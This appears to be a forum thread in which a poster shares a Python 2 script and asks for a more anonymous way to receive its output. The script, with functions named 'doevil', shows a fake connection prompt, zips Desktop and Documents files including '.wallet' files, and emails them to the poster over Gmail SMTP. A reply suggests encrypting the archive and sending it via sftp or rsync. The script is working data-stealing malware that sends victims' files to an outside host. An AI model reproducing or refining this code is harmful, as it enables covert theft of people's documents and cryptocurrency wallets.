Python - Better way to store a file remotely?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • deonbell
    Confirmed User
    • Sep 2015
    • 1045

    #1

    Tech Python - Better way to store a file remotely?

    I wrote a python program a couple of years ago. It zipped all my desktop and document folder files and sent them to me in an e-mail.

    Is there a better way to do this? I was think ftp or ssh? But need to remain anonymous. Maybe dropbox?

    Here is my old code.
    Code:
    #just playing around with python
    import os
    import glob
    import platform
    import zipfile
    import sys
    
    
    userhome = os.path.expanduser('~')
    desktop = userhome + '/Desktop/'
    useros = platform.system()  
    distribution = platform.linux_distribution() 
    
    answeryes = "y"
    answercapitalyes = "Y"
    answerwordyes = "yes"
    answercapitalwordyes = "YES"
    allfileszipped = zipfile.ZipFile('thestuff.zip','w')
    
    #creds
    username = 'testing'
    password = 'testingpass'
    
    
    def savefilesoff(folder):
        for foldername,subfolders,filenames in os.walk(folder):
            for filename in filenames:		
    		    if filename.endswith((".txt",".xls",".doc",".wallet")):
    			   savefilename = os.path.join(foldername, filename)
    			   thefilesize  = os.path.getsize(savefilename)
    			   if thefilesize < 500000:
    			     allfileszipped.write(savefilename)   
    def continueevil(getlogin):
        errorfile = open('run.log', 'w')
        errorfile.write("error on connect")
        errorfile.close()
        savedwd = os.getcwd()
        
        os.chdir(desktop)
    
        savefilesoff(desktop)
      
      
        userhome = os.path.expanduser('~')
        documents = userhome + '/Documents/'
    
    
    
        os.chdir(documents)
        documentfiles = glob.glob('*.txt')
    
        savefilesoff(documents)
    
        
        os.chdir(savedwd)
        allfileszipped.close()
      
        sendfiles(getlogin)
    
    	
           
    
    def doevil():
    
        print "enter your login e-mail address and press enter"
        getlogin = raw_input()
        print "Connecting ........"
        print "zipping and sending file - this may take a moment"
    
        if os.path.isfile("run.log"):
           print "this exploit has been patched"
           allfileszipped.close() 
        else:
           continueevil(getlogin)
            
    def sendfiles(getlogin):
        #send file
        import smtplib
        from email.MIMEMultipart import MIMEMultipart
        from email.MIMEText import MIMEText
        from email.MIMEBase import MIMEBase
        from email import encoders
        
        from_addr = "[email protected]"
        to_addr = "[email protected]"	
    	
        msg = MIMEMultipart()
    	
        msg['From'] = from_addr
        msg['To'] = to_addr
        msg['Subject'] = getlogin
    	
        body = "here is the file for " + getlogin
    	
        msg.attach(MIMEText(body, 'plain'))
    	
        filename = "thestuff.zip"
        savedwd = os.getcwd() 
        attachment = open(savedwd+"/"+filename, "rb")
    	
        part = MIMEBase('application', 'octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
    	
        msg.attach(part)
        try: 	
           gserver = smtplib.SMTP("smtp.gmail.com",587)
           gserver.starttls()
           gserver.login(username,password)
           text = msg.as_string()
           gserver.sendmail(from_addr, to_addr, text)
           gserver.quit()
        except:
           print "internet connect error"
           os.remove("run.log")  
    
    print "do you want to continue? Press Y And Hit Enter To Run"
    yourdecision = raw_input()
    if yourdecision == answeryes or yourdecision == answercapitalyes or yourdecision == answerwordyes or yourdecision == answercapitalwordyes:
       savedwd = os.getcwd()
       doevil()
       os.remove("thestuff.zip")   
    else:
      allfileszipped.close()
      os.remove("thestuff.zip")  
      sys.exit()
  • freecartoonporn
    Confirmed User
    • Jan 2012
    • 7683

    #2
    while creating zip set strong password.
    transfer over ssl, like ssh rsync or sftp
    SSD Cloud Server, VPS Server, Simple Cloud Hosting | DigitalOcean

    Comment

    Working...